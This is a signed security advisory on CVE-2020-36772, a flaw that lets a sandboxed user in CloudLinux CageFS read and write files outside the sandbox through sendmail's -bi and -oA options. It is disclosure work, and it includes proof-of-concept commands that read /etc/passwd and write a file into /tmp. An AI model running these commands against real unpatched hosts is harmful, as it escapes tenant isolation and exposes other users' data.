-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 # CloudLinux CageFS Insufficiently Restricted Proxy Command # Link: https://github.com/sbaresearch/advisories/tree/public/2020/SBA-ADV-20200707-02_CloudLinux_CageFS_Insufficiently_Restricted_Proxy_Commands ## Vulnerability Overview ## CloudLinux CageFS 7.0.8-2 or below insufficiently restricts file paths supplied to the `sendmail` proxy command. This allows local users to read and write arbitrary files of certain file formats outside the CageFS environment. * **Identifier** : SBA-ADV-20200707-02 * **Type of Vulnerability** : External Control of File Name or Path * **Software/Product Name** : [CloudLinux CageFS](https://www.cloudlinux.com/) * **Vendor** : CloudLinux Inc. * **Affected Versions** : <= 7.0.8-2 * **Fixed in Version** : 7.1.1-1 * **CVE ID** : CVE-2020-36772 * **CVSS Vector** : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L * **CVSS Base Score** : 6.6 (Medium) ## Vendor Description ## > CloudLinux OS is the leading platform for multitenancy. It improves > server stability, density, and security by isolating each tenant and > giving them allocated server resources. This creates an environment > that feels more like a virtual server than a shared hosting account. > By doing so, CloudLinux OS reduces operating costs and churn rates, > and increases profitability. Source: <https://www.cloudlinux.com/> ## Impact ## A CageFS-restricted local user can read and write arbitrary files of certain file formats outside the CageFS environment by exploiting the vulnerability documented in this advisory. ## Vulnerability Description ## CloudLinux offers a feature called proxy commands in CageFS environments. It allows limited execution of commands outside the CageFS environment from a user restricted within the CageFS environment. CageFS allows in its default configuration to execute `sendmail` as a proxy command outside the CageFS environment. This default configuration is designed to allow local programs sending emails by invoking `sendmail`. Due to the insufficient validation of sendmail's arguments an attacker can invoke other sendmail functionality as well. While CageFS applies some restrictions to the allowed arguments it does not restrict or validate the `-bi` and `-oA` arguments. Therefore, an attacker can have `sendmail` access arbitrary files which will be interpreted as alias database files by enabling the `newalias` mode of `sendmail` with `-bi` and specifying a file located outside the CageFS environment with `-oA`. On systems using the Postfix to Sendmail compatibility interface, a great number of different alias database types can be used to craft exploits. The compatibility interface internally calls `postalias` and besides the `-oA` argument already being dangerous by itself, it also suffers from an argument injection issue, which allows injection of additional Postfix specific arguments for `postalias`. However, this is not a security issue in Postfix. According to Postfix developers, Postfix's `sendmail` does not enforce a security policy on command-line arguments. Instead, it relies on the UNIX/Linux system to enforce access policies based on the effective user and group IDs of the process. If a security policy should be enforced, the calling process must sanitize the command-line arguments before they are given to `sendmail`. This includes but is not limited to sanity checks on pathnames, and if applicable sanity checks on file contents in a way that is not vulnerable to time-of-check to time-of-use race attacks, and disabling options processing with `--`. ## Proof of Concept ## For example, an attacker can read arbitrary files that at least partially follow the structure `key <whitespace> value` via the lookup table type `texthash`: ```sh $ sendmail -bi -oA'-s,-f,texthash:/etc/passwd' postalias: warning: /etc/passwd, line 1: expected format: key whitespace value -- ignoring this line [...] postalias: warning: /etc/passwd, line 211: expected format: key whitespace value -- ignoring this line sssd:x:496:493:User: for sssd:/:/sbin/nologin dbus:x:81:81:System: message bus:/:/sbin/nologin polkitd:x:497:495:User: for polkitd:/:/sbin/nologin tss:x:59:59:Account: used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin systemd-resolve:x:193:193:systemd: Resolver:/:/sbin/nologin rngd:x:494:491:Random: Number Generator Daemon:/var/lib/rngd:/sbin/nologin sshd:x:74:74:Privilege-separated: SSH:/var/empty/sshd:/sbin/nologin systemd-coredump:x:499:497:systemd: Core Dumper:/:/sbin/nologin nobody:x:65534:65534:Kernel: Overflow User:/:/sbin/nologin ftp:x:14:50:FTP: User:/var/ftp:/sbin/nologin unbound:x:498:496:Unbound: DNS resolver:/etc/unbound:/sbin/nologin nrpe:x:492:486:NRPE: user for the NRPE service:/var/run/nrpe:/sbin/nologin ``` The attacker can also use other lookup table types which might disclose sensitive information. For example, `unix` allows the query of specific users regardless of the format: ```sh $ sendmail -bi -oA'-q,ftp2406151,unix:passwd.byname' ftp2406151:x:935:935::/home/ftp2406151:/sbin/nologin ``` An attacker can also write specific file formats outside the CageFS environment. For example, with the `hash` lookup table type: ```sh $ echo sba:was_here | sendmail -bi -oA'-o,-p,-i,-f,hash:/tmp/sba_was_here' $ sendmail -bi -oA'-s,-f,hash:/tmp/sba_was_here' @: @ YP_LAST_MODIFIED: 1594138203 YP_MASTER_NAME: localhost sba: was_here ``` ## Recommended Countermeasures ## We recommend to restrict the `sendmail` command to only strictly required parameters using an allow list approach. At least the following parameters are known to cause dangerous behavior: * `-oA`: Allows specification of multiple paths and additional arguments. It is important to consider that it is directly followed by the pathname without a separator, i.e., `-oA/etc/passwd`. * `-bi`: Enables the `newalias` mode of `sendmail`. * `-I`: Enables the `newalias` mode of `sendmail`. * `-v`: If the parameter is added at least two times, i.e., `-vv`, `-vvvvv` or `-v -v`, it enables the verbose mode, which leaks the Postfix configuration in some cases. We did not fully analyze other parameters of `sendmail`, therefore, it is possible that `sendmail` as proxy command is also prone to other attacks. ## Timeline ## * `2020-07-07`: identification of vulnerability in version 7.0.6-1 * `2020-07-10`: initial vendor contact * `2020-07-13`: initial vendor response * `2020-07-13`: disclosed vulnerability to vendor security contact * `2020-08-06`: vendor released version 7.1.1-1 to testing * `2020-09-03`: vendor released version 7.1.1-1 to production * `2020-10-02`: request CVE from MITRE * `2022-01-04`: MITRE declined request as it falls in the scope of Red Hat * `2024-01-19`: request CVE from Red Hat * `2024-01-22`: Red Hat assigned CVE-2020-36772 * `2024-01-25`: public disclosure ## References ## * CageFS 7.1.1-1 beta: <https://blog.cloudlinux.com/beta-cagefs-and-alt-python27-cllib-updated-1> * CageFS 7.1.1-1 production: <https://blog.cloudlinux.com/lve-manager-lve-stats-lve-utils-and-alt-python27-cllib-have-been-rolled-out-to-100> ## Credits ## * David Lisa Gnedt ([SBA Research](https://www.sba-research.org/)) -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEL9Wp/yZWFD9OpIt6+7iGL1j3dbIFAmWyn0kACgkQ+7iGL1j3 dbL5PhAAspmKHEa29DXuwNjJ/3l96fX2AiuPj5NDhoSF01tfakpNE0w86c8GiGvw GRhGQ0n1AO9qNcfyULjWjtQ8FwFuRPzPI0mfaycW2oDQ3BAG2LtFqmQvpUzTV6tP pckL2H50ptablRYlphFEY0XDt42ezU3wjokNK/cpRhZlzCs7mvd6LuCg5qXwBno/ srsxlb4n1IdZRF5mh7ariYpObDvLUctwhri7RCBEqb6MZh+y6rSSPKsGdCHq/su2 6KEH0mxNPwMJtccNah29SWvv+fZ9+mkK1IuuWIdhyM2XMTJxOE4n0AsoISVGI6bH 9XgL0AQ3B3kyoqHbfCyoUonbz4mSdTFInqpuqlU0X6Wos+kjnS/27sH/De8ba+mm jmDDQFmoe1QrVkbDjXI7zBy81Qh3nVZ/qig/1SCex0i+IyO4HpdCYbjrs7I76C0V fvpd0VWb3BKpGHA4IhISA/jmCSlvxW+2gkHrhxfWhM1K3Pa/a0qH9RuCFAZ7B9qP OQM3Yrhbikqyaqh/ZI7nYMc33KfiPCiXKejDtaTGIVVThKHr1mQibgaYt+ILi0RH 8uxH+tpuVqjEgVHZQMBQEAa3WvaGYo2kJJxU0z+3m/s6W45JhGguMzrH/n9z6XKo H4xyTp1YQ3aP6gZBgoMEkipkc0B+QK/zb+xOghfE3Cbjdx47gCo= =E60q -----END PGP SIGNATURE-----